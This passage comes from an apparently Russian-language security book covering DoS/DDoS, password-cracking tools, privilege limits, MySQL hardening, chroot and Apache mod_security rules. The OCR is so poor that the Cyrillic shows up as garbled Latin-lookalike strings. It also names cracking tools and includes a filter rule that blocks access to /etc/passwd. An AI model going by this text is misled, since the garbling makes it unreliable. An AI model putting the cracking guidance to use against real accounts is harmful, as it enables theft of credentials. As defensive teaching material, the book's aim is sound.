3anpocoB Ha ee nepeBod. Mano Toro, uro o6vem GonblioH, H ANS CKaYUBAHUSA
cepBepy HY)KHO HCMONb30BaTb CBOH KaHal, Tak ellle M nepeBoj — AOCTATOYHO
TpyAoemkui npouecc. JJocratouHo B TedeHue | cexyHabl otnpasuth 100 3anpo-
COB Ha nepeBOA rPOManHOH KHHTH, 4ToObl cepBep neperpys3Hics. A ecan UCNoib-
3yerca 6JOKMpOBKa MHOTOKPATHOI'O MEPEBOa OJHOrO M TOro e, TO HYXKHO no-
AbICKATb HECKOAbKO GONbIIUX KHHT,

B naHHOM cnydae aTaka 0Tkaza oT 00CHy)KHBaHHA OTPaKaeTcs JOCTATOYHO MPOCTO.
CepaepHoe nporpamMmHoe obecnevyeHHe JOMKHO KOHTPOIHPOBATh W OrpaHUYHBATD
KONHYeCTBO 3anpocoB ¢ oaHoro IP-appeca. Ho 3to Bce TeoperuueckH, W Takue
NPOBEPKU OrPafAT TONbKO OT HaYMHAIOWKUX XakepoB. OnbITHOMY B3/NIOMLIMKY HE
COCTaBHUT Tpyda nopnenath IP-anpec u 3acbinaTh cepBep nakeramu, B KOTOPBIX
yka3aH NOAAeNbHbIA afpec OTNpaBHTENs.

Hna cepeepa ewe Xyxe, ecnu e3noM uaet no TCP/IP, notoMy uTo 3TOT npoTokon
TpebyeT ycTaHOBKH coexHHeHua. Ecniu xakep nouter oueHb 60JibLIOE KONTHYECTBO
38MPOCOB Ha OTKPbITHE COEAMHEHHUs C pasHbIMH IP-anpecamu, To cepiep pasouLier
Ha 3TH aapeca NOATBepXACHHUA U OyneT KOXKMAATHCA AanbHeHILHUX gercTBHHA. Ho
TaK Kak peanbHO C 3TUX apecoB He ObLIo 3anpoca, To U ocTaHoBKa Oyaer Oec-
cMbicneHHoH. Taxum obpasoM, 3anonHus Gydep ouepenn Ha BXOAALIME COCAHHEHMS,
cepBep CTAHOBUTCS HEXOCTYIMHbIM 0 NOAKIIOHYEHHA HECYLLECTBYIOLLMX KOMMNbIOTEPOB
(BpeMs oxunaaHus (TimeOut) ans 3Toi onepauun Moxer ObiTh 10 5 cekyHn). 3a
3TO BpeMA Xakep MoxkeT 3abpocatb Oydep HOBbIMM 3anpocamH ¥ npoaiuTh Gec-
CMbIC/TIEHHOE O)KHaHHE CepBepa.

CaMoe cnoxHOe — 3alMUTUTLCA OT neperpy3kH kaHana. Jleno B ToM, 4To koraa Ha
Hall cepsep HaeT 6oMbilIoe KOMMYECTBO NAKETOB, TO OTPUNBTPOBaTh HX Ge3 nony-
YeHHA HEeBO3IMOXKHO. 3alLUTHTbCA MOXHO TONLKO pacillMpeHHEM KaHana 40 TakoM
CTerneHH, yToObl ero He BO3IMOXCHO ObINO 3aNOJHHUTD.

1.7.1. Distributed Denial Of Service (DDoS)

C nomouibto DoS-aTaky AOCTAaTOYHO CNOXKHO BLIBECTH U3 OOCNYXKMBAHHA TaKHO
Web-caiiTbi, kak www.microsoft.com unu www.yahoo.com, notomy 4to A1 UX
paboTbt HCNONb3YIOTCA JOCTATOYHO LIMPOKHE KaHanbl U CBEPXMOLLHBIE CEPBEPBI,
llo, xak noka3blBaeT NpPakTHKA, XaKepbl HAXOAAT BbIXOAbI M3 NIOOLIX CHTyauui.
Jl1a nonydeHus takoi MouwlHocTH ucnoab3yercs DDoS. B atoM caydyae araky
IIPOH3BOAMT HE OAHH KOMMbBIOTEP, 2 MHOXECTBO, M KXKIbIH W3 HUX MbiTaeTCA M4~
chiiath cepsep MycopoM. Ecid cioxKnTb Bce MancHbKHe Kalliuibl NoAs108aTeNol,
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KOTOpbl€ 3aCBINAIOT CepBep, TO B CyMMe OHH MOTYT MpeBbICHTb BO3MOXHOCTH
KPYNHOro CepBepa M TOT NEepecTaHeT OTBeYaTh.

Mano kTo 13 nonb3osaresneil LOOPOBONBHO OTAACT MOLIHOCTh CBOEro KOMNbIOTEpa
ANlA NpOBeNeHUs pacnpeleNieHHON aTaku Ha KpymnHble cepBepbl. UToObl pellHTh
3Ty npobnemy, XaKkepbl MUUIYT BHPYCbl, KOTOpble 0e3 pa3pelleHHs 3aHUMAIOTCA
3axBaToM. Tak, Bupyc Mydoom C uckan koMnblOTepbl, 3apakeHHble BUPYCaMH
Mydoom Bepcuii A u B, u ucnonb3oean UX IS aTaky Ha cepBepbl KOpMopaunu
Microsoft. bnaro 3tor BUpyc He cMOr 3axBaTHThb AOCTATOYHOrO KOJHYECTBAa Ma-
LUKH, H MOLLHOCTH He XBaTWIIO IUis NpPOBEACHHA MOJHOUEHHOro HaneTa. AAMHHU-
crpaumsa Microsoft yTeep)xaana, uto cepeepbl paGoTany B LUTATHOM peXxuMe, HO
HeKOTOpbIE BCE XKe CMOTIHN 3aMEeTHTb 3aMe/UleHHe B paboTe U 3aiepXKKH B nonyye-
HHK OTBETOB Ha 3anpocbl. Bce e Ha cetb Microsoft nerna xakasa-To 4acTtb us-
JTUWHero Tpaguka.

Ot pacnpeneneHHON aTak¥ 3allMTHTLCA OYEHb C/IOKHO, NOTOMY YTO MHOXECTBO
peanbHO paGoTalouMx KOMNBIOTEPOB LLIIOT CBOH 3anpochl Ha OUH cepeep. B 3TOM
Clfyqae TPYAHO ONPENENUTb, YTO 3TO HWAYT JIOXKHbIe 3anpochl ¢ LENbI0 BbIBECTH
cucTeMy M3 paGouero cocTosnua. [TosTomy 31ech 3(peKTHBHOE pelleHHe npes-
NOMHUTL OYEHb CITOKHO.

1.8. Mporpammb! Ana noadopa naponen

Korzaa B3n1oMLIHK nblTaeTcA NPOHHUKHYTb B CHCTEMY, TO OH Yall€ BCEro UCNojibly-
€T O4HH H3 CICAYIOLLHX cnoco6oe:

O ecnu Ha arakyeMOM cepBepe Y Hero yxke eCTb y4YeTHas 3anuch (IyTb M rocre-
Bas), TO MOXXHO NOMNbITaTbCA NOJHATL €€ npara. [{ns 3TOro HCNoNb3yIOTCA JKC-
nJOHTbI, cM. pa3o. 1.3.2;

O noay4yuTb y4ETHYIO 3anHCh KOHKPETHOrO NONb30BaTelN s,
O no6biTh afin naponeit ¥ BOCNONL30BAaTLCA YY)KHUMH YHETHBIMH 3aMUCAMH.

Haxe eci1 B3NOMILHK NOBBILIAET CBOH MpaBa B CHCTEME, OH BCE PABHO CTPEMHTCS
obpecth goctyn k ¢aiiny ¢ naponsMy, NOTOMY 4TO 3TO NO3BOJAMT AoOpaTbca A0
yueTHo# 3anucu root (s UNIX-cucreMm) 1 nony4uuTb nonHble npasa. Ho naponu
3alIH(PPOBaHbI, H B Ty4lIEM Cly4yae MOXHO OyaeT yBUAETb XeL-CyMMbI, KOTOpble
ABJAIOTCA pe3ynbTaToM Heobparumoro wMdposaHus napons. B OC Linux wud-
poBaHHe yallle BCero NpOMCXOAHT no anroputMy MDS.

Koraa apMHHUCTpaTOp 3aBOJAMT HOBOIO NOJNb30BaTe/]is B CHCTEME, TO €ro naposb
yalle Bcero LWHGpyeTcs ¢ nomolublo anroputma MDS, koTopbiii He noanexur
aewnpposke. B pesynbTaTe nomyyaercs Xell-CyMMa, KOTOpas COXpaHReTCs B daitne
naponeii. Koraa nonb3oBaTenb BBOAHT Napofib, TO OH Takke WIKGPYETCa, U pe-
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3yJbTaT CPaBHUBAETCA C XeUI-CyMMO#M, XpaHslleiica B ¢akine. Ecnu 3Hauenus cos-
naiu, TO CYHTAETCA, YTO Napo/ib BBELEH BEPHO.

Tak kax obpatHoe npeobpa3oBaHHe HEBO3MOXHO, TO, Bpoje Obl, H nogobpars napons
s Xelll-cyMMbl Henb3s. Ho 1o Tonbko Ha nepsbiit B3rnaa. [{ns noaGopa cymecrsyer
MHOro nporpamum, Hanpumep, John the Ripper (www.openwall.com/john) unu
Password Pro (www.insidepro.com). Jla, onn ucnonn3yrot npocroii nepedop, Ho,
Kak Mbl y)Ke€ FOBOPHIH, MpH MCNONb30BAHHH XOpOUIEro CIOBapsa Jaxe nepedbop
MOXKET JaTb MOJOXKHTENbHbIA pe3ynbTar.

B Windows-cucremax naponu Tawoke wHppytoTcs HeoOpaTUMbIM 0Opa3oM, HO
xpaHsaTca B 6aze naHHbIX SAM, ¥ Ans UX B3NOMA HYXKHa Y)XKe Apyras YTHIUTa —
SAMiInside (www.insidepro.com). [ naBHoe okHO nporpaMmbl nokasaHo Ha pHc. 1.5.

Puc. 1.5. NMporpamma SAMinside BanambisaeT naponu Windows-cucrem

[ToueMy 3TH yTHIMTBI Tak cBoOoAHO nexxaT B MHTepHeTe, Koraa oHW NO3BOARIOT
3N0yMbILLTEHHUKY BopoBaTb naponu? JlioGas nporpamma MOXET MMETb Kak
NONOXHTENbHbIE, TAK U OTPHULATENIbHble CTOpOHbI. UTO aAenarb, ecnu Bbl 3a0bLIM
naponb agMHHUCTPATOpa, WM AIMHHHUCTPATOP YBONM/CA W He cKa3al Bam ero?
[MepeycTaHaBauBaTh CHCTEMY? OTO AOAr0O M MOXET IPO3UTb NOTepeil AaHHbIX.
HamHoro npotie CHATb )X€CTKHH AMCK M NOAKIIIOYUTH K APYrOMY KOMMbIOTEPY
(MM NPOCTO 3arpy3UTLCA C AUCKEThI, yMelolled yuTaTh Bawly (ainoByto cucTe-
My), OTOM B3sTb (aii naposeil H BOCCTaHOBMTb yTepsHHYI0 HHbopmauuio. M,
9TO OTHHMET CIMIUIKOM MHOrO BpeMEHH, HO COXPaHHTb MH(pOPMALHIO HHOTARA
pakHee. Jleno B ToM, 4TO naponu anMUHUCTpPaTopa OYeHb 4acTO ABJAIOTCA KNtO-
‘IMKOM M K JPYrMM BXHbIM JaHHBIM, HanpuMep, MOTYT ABJIATHCA KJIIOYOM -
POBAHHA HECTKOI'O JHUCKaA.
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B Windows 9x naponu xpaHsarca B daiinax PWL, koropble HiKak He 3aliHLLEHbI,
M UX cadwkoM npocto ykpactb. Ecniv B Windows 2000/XP npamoii aocryn
Kk ¢ainy 6a3bl naHHBIX SAM 3anpelnteH, To 3aech (alin 3abupaercsa ¢ koMnbIOTEpa
XKEPTBbI NpOCTbIM KonuposaHueM. Jlia B3OMa 3TOro (paiina MOXHO BOCMOJNb30-
BaTbca nporpammoit PWLInside (www.insidepro.com).

1.9. lNony4yeHue npas
onpeaeneHHOro nonb3oBaTens

JAna nonydyeHus npaB onpeaeneHHOro nojb30BaTeNis B3TOMLIMKY Yalle BCero Mc-
noNnb3yioT:

O meroabl couManbHOH MHXEHEpUH — TPHBHANbHBIM W He TpeOylomuit MHOrO
BpeMeHH, HO NpH ITOM HeHaexkHbli cnocob;

a TPOAHCKHE NporpaMmMbl — nNpoOCTbl B HCNONb30OBaAHHH, HO NPHMEHEHHE MOXKET
HE NpHHECTH pE3ynbTaTa, €CNH HE YAACTCA 3apa3uTb KOMNbLIOTEP XKEPTBbI,

O ﬂ0ﬂ60p napoJia — C/I0XKHee BCeX B peaniH3auHHd U MOXKET 3aHATb Y B3JIOMIHKa
rojabl, H B 3TOM ClIy4ac TOXE HE AacCT pe3ynbTara.

Bce TpH 3THX Metoaa Mbl Yxe paccMaTpdBanH B AaHHOW raase. M Bce xe, ecTb
ellte O/IHH BapHaNHT, KOTOPBIH Mbl He pacCMaTpUBANTH, XOTA KOCBEHHO 3aTparysany
aty Temy. Kaxxaas cnyxba umeer npasa onpeaeneHHON y4eTHOH 3anucH, H eciiu
BbIMO/IHATL KOMaHIbl OT €¢ UMEHH, TO U NpUBHJIeruH OyayT TOH yyeTHOMH 3anucH,
noj koTopo# oHa pabotaer.

BonbWHHCTBO aAMHHUCTPATOPOB YCTaHABAWBAIOT BCEM cnyx0aM MakcMManbHble
npasa, 4ToObl He pa3bUpaTbca B TOHKOCTAX HacTpoiiku. Ecnu paspewnts paGoty
cnyxbbl, Hanpumep, noj rocTeBoi yueTHOH 3anHCbio, TO OHa MOXET MepecTaThb
(pyHkuHOHHpoBaTb. HekoTopbiM ciiy)k6am Hy)KeH JOCTYN K peecTpy ujiH CUCTEM-
HOMY KaTanory, ¥ eCiii ero 3akpbiTh, TO Cly)k0a nNpocTo He 3anyCTHUTCA, a2 HAUTH
NPHYHHY ITOro ObIBAET CIONKHO, ECIIH HET NOAPOOHOH AOKYMEHTALMHU MO NONIUTH-
xe GezonacHocTH nporpammbl. C apyroi cTopoHbl, HoNbIIKHCTBY cayx6 npocto
He HyXcHbl 6onblIMe NOTHOMOUMS.,

Koraa xakep cTpeMHTCA Nony4nTb npasa ailMHHUCTPATOpPa, TO OH MOXET 3a1aThCs
LebI0, HaWTH yA3BUMOCTb CcyxObl, koTOpas obnaaaeT Hy)KHbIMH NMpaBaMH. A 3a-
TEM C ee NOMOLLBIO NOMbITaTbcA NPOOHUTHCA AaNbllle Ha cepeep.

Ytobbl He KaBaTbh XaKepy JHIUHMX Na3eek, orpaHHYbTe npasa cayx6. B atom cuy-
Yae, JaXe €C/IH 3JOYMBILUIEHHHUK Hallen Kakyl-nubo ysa3BUMOCTb, NPOHHUKHYTD
B cucTeMy Oyaet cnoxHo. Hanpumep, ans FTP-cepBepa MOXKHO CO34aTh YHETHYIO
3anuch, Y KOTOpOiH 6yaeT AOCTYn TOJIbKO K OrnpeaeleHHbIM nankam, KoTopble OT-
KpPbITbI 11O CETH U1 KJIMEHTOB 3TOi cayxObt.
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Ecnu e cnyxba ucnonb3yer peecTp M YTO-TO MMILET B CUCTEMHbI Karanor, To
Ny4lle OTKKHTECh OT €€ HCNONb30BaHUs, NOTOMY 4TO B 3TOM Cily4ae CHHXKAETCH
ypoBeHb Ge3onacHocTi. JlocTyn K CHCTEMHOMY KaTanory abCONIOTHO He HYXKeH
GoNbWMHCTBY NporpamMm HiH, no kpaiHeH Mepe, nomkeH GbiThb He HYXKeEH, HO TIpo-
FPaMMHUCTbI NPOAOIIKAIOT HCNONb30BATh €ro.

Ecnu Bbl nporpaMmucT ¥ paspabaTbiBaeTe CBOM CepBepHble NPORAYKTHI, TO HE TPO-
raiite cucteMHble obnacTH 6e3 ocoboii HanobHocTH. PaboTaliTe TOJNILKO B OAHOM
KaTanore, Kyaa nojib3oBaTesib YCTaHOBUT nporpaMMmy. Ecnu n3berats obpaleHus
K OMacHbIM pecypcaM, TO MO)KHO MHHMMH3HPOBaTb BO3MOXXHOCTb B3JIOMa CHCTe-
Mbl 4epe3 Ball cepBep. A 3TO y)Ke O3HauyaeT, YTO Baila nporpamma Oyner pexxe
NOABAATLCA B CNMCKAX Cy»0, coaepikalltUX ya3BUMOCTH, 4TO YAYYUIMT Balle MO-
NOXEHHe Ha pbIHKeE,

KoHeuHo e, /IS NporpaMMHUCTOB MOXKHO AaTh O4eHb MHOTO pekOoMeHAauMi, HO
Mbl pacCMaTpHBaeM KOMNbIOTEP C TOUKH 3peHHs NONb30BaTeNs, NO3TOMY He Oyaem
YXOAHTb B CTOPOHY.

1.10. Mepbi 6e3onacHocTH

[Tpobnema 3alKTBl He OrpaHU4HBAETCA TONLKO 3alMTOH OnpeAeNeHHbIX Mpo-
rpaMM. MoxHo Hanucatb camylo Oe3onacHylo nporpammy, HO NpH 3TOM YCTaHO-
BUTb Ha cepeep OC ¢ HacTpolikamMH no yMonuyaHuio. Bcem n3BecTHO, 4YTO Ha-
CTPOHKM nO yMONUYaHHUIO JanekH OT uaeana U 6narogaps stomy Web-cepeep
MOJKeT ObITb B3TOMaH fake NpH OTCYTCTBUM yA3BUMbIX CLIEHapHEB.

Be3onacHbIM fo/keH ObITb HE TOJBKO KaXAbiA y4acTOK MpOrpaMMbl, HO U KaXK-
Ablli NpOrpaMMHbIA nakeT, YCTAaHOBNEHHbIA Ha cepsepe, cama OC u Bce UCHONb-
3yemoe 060pyaoBaHHe (B OCHOBHOM 3TO KaCAaeTCs CeTEBbIX YCTPOICTB).

[TporpamMmMucT fomxkeH Bceraa paboTaTh B COTPYAHHYECTBE C aAMHHUCTPaTOpaMH
H cneunanuctamu no 6e3zonacHocTd. Hanpumep, nporpaMMHCT MOXET pELUHTS,
4TO Ins ero yao6cTea HeoOX0AHMO caenaTh OnpeseaeHHYIO nanky OTKpbITOH ans
YTEHHUs M 3anucH BceM nonb3oearensM. B 3Toil nanke cueHapuu 6yAyT COXpAHATD
kakue-To AanHbie. Ho ecnu 3Ta manka Mcnonb3yercs aiMUHHCTPATOPOM IS Xpa-
HEHHA BaXXHbIX JAHHBIX WIH KOH(UrypauHOHHbIX (paHsioB, TO 3allMTa cepBepa
OKaXKeTCs Noj yrpo3oi.

Jamuutath Hao M ceTeBoe obopyaoBaHHe. Ecaiy Bbl ciieauTe 32 GronnereHamMH no
Oc3onacHoOCTH, TO ACMKHbI ObUTH BCTPEYATLCH C ONMUCAHHAMH BITOMOB, KOTAa Xa-
Kep CMOT MOMYYHTb AOCTYN K MaplUpyTH3ATOpPY U CMOT MPOCMOTPETh BCE ITBKEThI
nonsiosarened. JIis KOHQUAGHLHANBHBIX AAHHLIX Mbl MOXEM HCMNOJIb3IOBATD
mudpposaHue U nepexaBaTh KaHHble NO SSL, HO ero HUKTO U HHKOT/IA 11 HCIMONL-
'lyCT MpH CO3XaHHUU (PopyMOB WAM 4aToB. Ecnn Xakep cMOr nepexBaTHTh NAKET,
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B KOTOPOM [OAb30BaTE/Ib NEPEAAET HaA Cl)Op)/M JlaHHBIe 00 aBTOpPH3aUHHU, TO Xakep
CMOXET UX NPOUYHTATDb KU 3aXBATHTh YUCTHYIO 3aNHUCh MNOJB30BATECIA.

Hrak, 3amuimare HeoOXoaAMMO He TONbKO onpeaeneHHble nporpamMmel, HO U OC,
CYBJ, cereBoe obopynosanue. Kadicaa cocrasasiowas tpebyer otaenbHON KHU-
r'H no 6€30nacHOCTH. A €CIM YYECTb, YTO CYLIECTBYET HECKONBKO pasHOBHAHOCTEH
OC u k Ge3onacHOCTH KaXAOH U3 HUX HY>KHO NOAXOAHTb CO CBOEH CTOPOHbI, TO
KHHI HY)XXHO Hanucatb eute 6onbiue. [IoaToMy orpaHMYMMCa TONbKO OCHOBHbIMH
0co0eHHOCTAMH 3aLUTHI.

Haxe ecny Bbl ABjseTech pa3pabOTYMKOM M He CBA3aHbl C aiMHHUCTPHPOBAHUEM
cepBepa CBOEH KOMNaHUKU UK npocto Web-caiita, 3 HaCTOATENILHO PEKOMEHAYIO
BaM nosHakoMuTbea ¢ 6ezonacHocTbio OC, KoTOpas HCnoNb3yeTcs Ha BalleM cep-
Bepe. [na Linux cucteM 3 Mory nocoseToBaTh npoudTath Moo pabory "OC Linux
rnasamd xakepa" [2] (Hacker Linux Uncovered, A-List Publishing, 2005).

Mo>KeT Bbl 32aMETHIIH, YTO S OYEeHb YacTO cchinatock MMeHHO Ha OC Linux? eno
B TOM, yTo WMeHHO UNIX-cucremsl (Linux, FreeBSD, OpenBSD, Solaris) npe-
obnanaiotr B UHTepHere B kauecTBe cepeepoB. MMeHHO nostoMy Mbl Gynem.
Gonbiie BHUMaHHA yaenatb 3TuM OC. [la, B KoprnopaTHBHOM CEKTOpE MOXHO
BCTPETHTb U MHOXeCTBO pelleHHi Ha Windows-nnargdopme, HO noka 4TO ITHX
peluleHHii HAaMHOrO MeHblle H GOonbIIMX caABUroB B CTOpOHY Microsoft noka Her.
Tam, rae Tema xacaerca o6enx OC, s 6yay 3aTparusarh ux obe, Ho Gonblle BHH-
MaHus Bce xe Oyay yaenars UNIX-cucremam u Linux B 4aCTHOCTH, NOTOMY UTO
MMeHHO LinuxX BbI3bIBaeT y MEHA HaHOOJIbIIYI0 CHMNATHIO U MHE KaKETCA, YTO
3a HuM Oyayliee.

1.10.1. 3awmta Web-cepBepa

Hasaiite paccMoTpum npuMep 3awnThl MySQL u Apache B onepaunoHHO#N cHc-
teme Linux. Msl onyctum 3awmury camoii OC, noToMy 4TO 3TO OTAENbHAA U OYEHb
Oonblias Tema, aa ¥ Becb Apache mbl TporaTh He Gynem, myctb xuser. Urak, 3a-
IUMTA HAYHHAETCA C YCTAaHOBKH M npeBapHTeSbHOro KOH(uUrypuposanus. B ciy-
yae ¢ MySQL Heo6X0AHMO BbINOIHUTL CAEAYIOLKE AEHCTBHA:

O CYBJ] ycraHariuBaeTcs ¢ HacTpoHKamMH No YMOJYaHHIO, NPH KOTOPbIX aAMMH-
HUCTPATOPCKUI JOCTYN pa3pelleH Nosb30BaTeNio root ¢ NyCThiM naposeM. 310
He xopouuo. Heo6XxoauMo kak MUHUMYM YCT@HOBHTB CJIOXKHbIA Napofib, a JTy4-
e NepeuMeHOBaTh y4eTHYI0 3anuch root. Ecan Bei paboranu ¢ OC Linux, To
JOJDKHBI 3HaTb, YTO B DTOH cHCTEME aJMHHMCTPATOPOM TOXE ABAAETCA root.
Ums anmuurcTparopa B OC u B CYB/] Hukak He cBA3aHbl;,

(0 Heobxoaumo 3abnokupoBath aHOHMMHbIA goctyn k CYBJ. TNoaxtoyeHus
AOMKHbI OCYLIECTBIATLCA TONbKO aBTOPHU30BaHHbIMH N0/1b30BaTONIAMH,
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O ny4we Bcero 3anpeTHTh yaaneHHoe nogkmtodeHre k CYBJl. Hanpumep, echn
k MySQL ofpauwaiorcs ToAbKO AOKaIbHO PacnoioKeHHbie CLUEHapHH, TO HH-
KTO He JOJKeH HMEeTb npaBa NOAK/IIOMEHHS C YaaneHHOH MalllMHE! (B HacTpol-
kax MySQL ecte Takas onuus);

(0 HeoGxoanMo ymanuTh Bce Gasbl JaHHBIX, CO3AaHHBIE U1 TECTHPOBAHUA M OT-
napku. Ilo ymonuyanuio B GonbwrHcTBe CYDBJ] (B TOM uncne u B MySQL)

ycTaHaBJIMBaeTcs TecToBas Ga3a naHHbIX. B paGoraloleil cucteme ee He JODKHO
ObITb.

VYdeTHaa 3anMChb aiMUHUCTPATOpa NO YMON4YaHHIO, O KOTOPOH Mbl YXKe cKa3laiH,
ecTb npakruueckn 8o Bcex CYBJI. B MS SQL Server 310 yueTHas 3anuch sa, Ko-
Topas MoxeT ObiThb 6e3 napons, eCnH aAMHHUCTPATOp He YCTAHOBUJ ero BO BpeMsA
HHcTaTAUMK, 2 B MySQL arto root, Taioke 6e3 napons. Yrobbl H3MEHHTL naponb
ans MySQL, BBINONHUTE KOMaHAY:

/usr/bin/mysgladmin -uroot password newpass

Haunyuiinm sapuanTom Oyner nepeHectd paGory MySQL u Apache B okpyxe-
Hue chroot. Kak pa6otaer 310 okpyxeHue? B cucreme co3gaerca karanor (B Linux
1A 3TOro CYLIECTBYET KOMaHAa chroot), KOTOpBIH ABASETCA A8 NporpaMmbl
KOPHEBbIM.

bin usr var home
chroot userl user2
| ki B
: | 1 i | :
: bin usr var home :
\ | ;
1 L)
! 1
: userl user2 ;
! b

Puc. 1.6. Cxema paboTui okpyxeHua chroot

Beille 3TOrOo Kartajnora nporpamMma, paboTaioulas B OKpPYKEHHH, nonacTb He MoO-
xer. [ocmoTpuTe Ha puc. 1.6. 3aech nokaszaHa yacTb ¢aknoBol cuctembl Linux,
Bo riaBe Bcero CTOMT KopHeBoii karaor /. B Helt HaxoasaTca /bin, /usr, /var, /home
u 1. Ji. B /home pacnonoxceHbl kaTanord nonb3oBaTtesielt cucTeMbl. Ml co3laeM
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3/1eCb HOBbII Karanor, Juis npumepa HasoseMm ee chroot, u oH Gyaer kopHeBbIM AA
cnyxObl. B Hem 6yayr csou karanoru /bin, /usr ¥ T. a. ¥ cnyk6a Gyzner paboraThb
C HUMH, a Bce, yTo Bbiwe /home/chroot, 6yaer ans Hee Hemoctynuo. [Ipocto
ciyx6a Oyner cuuTarb, yTo /home/chroot — 310 1 ecTb kKOpeHb daitIoBoil CHCTEMBI.

Ha puc. 1.6 B pamky oOBefeHbl nanku, xoropble 6yayT BuaHbl cnyxbe. HmenHo
B 3TOM npocTpaHcTBe Oyaer pabotaTh ciyxba v Gyaer cudTaTh, YTO ITO H €CThb
peanbHasa (ainosas CHCTEMa cepBepa.

Ecnu Xakep NpOHHKHET B CHCTEMY 4epe3 3allMLIEHHYIO cnyx Oy M 3axouer npo-
CMOTpeTh KaTanor /etc, To oH yBHAHT /home/chroot/etc, HO HUKak He CHCTEMHBIN.
YToObl BINOMILKMK HHYEro He 3anojo3pui, B karanore /home/chroot/etc mMoxHO
pacnosioKUTb BCe HeoOXoauMble (alinibl, HO cofiepXxalLllie HEKOPPEKTHYIO HHGOp-
Mauuio. Banomumk, 3anpocue (daiin /etc/passwd yepes yazBumyto cnyxOy, nOJy4uT
noctyn k /home/chroot/etc/passwd, noToMy 4TO ciyx6a BUAHT €ro CUCTEMHbBIM,

Tak, Hanpumep, daitn /home/chroot/etc/passwd Moxer coaepxarb HeBepHbIE Na-
poau. Ha paboTy cucTeMbl B LieJIOM 3TO He MOBJMAET, NOTOMY 4TO cHcTeMa OyaeT
Opatb naponu u3 ¢aina /etc/passwd, a cnyxbe peanbHble naponu cUCTEMbl He
HYXHbI, No3TOMY B (haitn /home/chroot/etc/passwd MOXKHO 3aCyHYTb UTO YrofHO.
Bonee noapoGHyto HHbOpMaLHIO © HacTpolike okpyxkeHHs chroot cM. B kHure [2].

1.10.2. Moaynu 6e3onacHocTtu Apache

Jns 3aliuTbhl HEOOXOAHMO MO MaKCHMMYMY MCNONBL30BaTh BCe BO3MOXKHOCTH. Ha-
npumep, ecii B kadectee Web-cepBepa Bbl ucnonb3yere Apache B cBaszke ¢ OC
Linux, TO MOry nOCOBETOBaTb PacIIMPUTb €ro BO3MOXHOCTH C NMOMOLLLIO JONON-
HHATENbHBbIX MOAYyNeH, BOBMOXKHOCTH KOTOPbIX Mbl KPaTKO paCCMOTPHM.

Moaynb mod_sequrity

HecmoTps Ha TO, uro 6e30nacHOCTb B OCHOBHOM 3aBHCHT OT CLIEH2pPHEB, KOTOpbIE
BLINONTHAIOTCA Ha Web-cepBepe, # nporpaMMHCTOB, KOTOPbi€ UX MULIYT, ECTh BO3-
MOXXHOCTb 3aLLUMTHTLCA BHE 3aBUCHMMOCTH OT clieHapveB M WX 6e3onacHocTH. OT-
NHYHOE pelleHde AaHHOH npobneMbl — GecnnatHeii Moayib Aans Apache nog
HasBaHWeM mod_security.

[MpuHuMn paboThl MOAYNA CXOX C CETEBBIM 3KpaHOM, kotopbiii BcTpoeH B OC,
TOJILKO B JJ@HHOM CJly4ae OH crneuuanbHO pa3paboraH aia paboThl ¢ NPOTOKOIOM
HTTP. Moaynb, ananu3upyeT 3anpochl NoAb30BaTENEH H BLIHOCHT CBOE pelleHHe
O BO3MOXHOCTH NponycTHUTh 3anpoc k Web-cepeepy HIIH HET, Ha OCHOBE NnpaBu,
KoTOphie 3ajaer aaMUHHcTparop. [lpaBuna onpeaensioT, 4To Moxer ObiTh B 3a-
npoce, a 4To Her.



OcHoebt be3onacHocmu 43

B 3anpocax, koTopble HanpaBAseT Mofib30BaTe/b Ha CepBep, COAePIKUTCA URL,
C KOTOPOro HeoGXoANUMO B3ATb AOKYMEHT MK ¢aiin. YTo MOXHO 3aaTh B npaBu-
nax Mogyns, utoObl cepsep cran 6ezonacHee? PaccmoTpum npoctediunii npuMep:
B 3anpoce He AOMKHO ObiTb HHMKakuX ofpauieHuit k aiiny /etc/passwd, 3anaem
COOTBETCTBYIOLMI (GUILTP, U ecid npoucxoauT obpaileHue, coaepatee URL
3TOro (paiina, TO 3aNpoc OTKIOHSETCH.

Hrak, Moaynb mod_security moxcHo B3aTb ¢ Web-calita www.modsecurity.org.
[ocne ero ycraHoBku B daitne httpd.conf moxHo 6yaer Mcnonb3oBaTh AONOMHK-
TeNbHblE AHPEKTUBBI, (GURbTpPauMU 3anpocoB. PaccMoTpum HaubGonee uHTepecHble
M3 HHX:

O secFilterEngine On — BKJIIOYHTb PpeXKHUM (QUIIbTpaLIMU 3aNpPOCOB,

O SecFilterCheckURLEncoding ©On — npoeepaTb koaupoky (URL encoding
is valid);

O secFilterForceByteRange 32 126 — pa3peLllaeTcs HCMO/Ib30BaTb CHMBOJIbI
C KOZ@MH TOJIbKO M3 YKa3aHHOro AvanasoHa. CMMBObI, KOAbl KOTOPbIX MeHee 32,
npuHapiexar ciryxkeOHbIM CHMBOJIaM THNA "nNepeBoa KapeTku", "KoHel CTpokH”.
BONbIIMHCTBO M3 3TUX CUMBOJIOB HEBUAMMbI, HO /IS HHX CYLUECTBYIOT KOJBI,
yTo6bl MOXHO OblLTO O0OpabaTbiBaTb HaXKaTHs COOTBETCTBYIOLUMX K/IaBHLI
Ha knaBuarype. Ho kak jke Torga Xakep MOXET BBECTH HEBHIAMMbIH CHMBOJ
B URL? 3T10 aelicTBUTEIbHO HEBO3MOXHO, HO BMO/IHE peasibHO BBECTH HUX KOI.
Hanpumep, utobbl yka3zath cumeon ¢ koaoM |3, HeoGxoaumo ykasatb B URL
aapece $13. CHMBoabl MeHee 32 H Gonee 126 ARNAIOTCA HEZONYCTHMBIMH 115
ajpeca, NO3TOMY BMNOJHE JIOTHYHO TaKHe nakeTbhi He nponyckatb Ao Web-

cepBepa,

O secAuditLog logs/audit_log — € MOMOILbIO ITOrOC nNapaMeTpa 3aJaeTcs UMA
¢aiina xypHana, B koTopoM Gyaer coxpaHaTbes HHpopMaLia o6 ayaure;

(O secFilterDefaultAction "deny, log,status:406" — 3TOT napamMeTp 3azact
JNeCTBHE N0 yMOJYaHHIO. B naHHOM ciiyyae ykasaH 3anpet Ha nocryn (deny);

O secFilter xxx redirect:http://www.webkreator.com — €CJH d)ld.nb'l‘p
cpabatbIBaeT, TO nNoak30BaTeNs nepeaapecylot Ha Web-caitr www.webkreator.com;

O secFilter vyyy 1log,exec:/home/apache/report-attack.pl — eCJH
¢unbTp cpabatbiBaer, TO OyaeT BbINONHEH cueHapuii /home/apache/report-
attack.pl;

O secFilter /etc/password — B 3anpoce NoJib30BaTeNd He JOKHO ObiTh 06-
pauleHus K ¢Qaiiny /etc/passwd. Takum rxe oGpazom HyxHo A0GaBMTH 3amnper
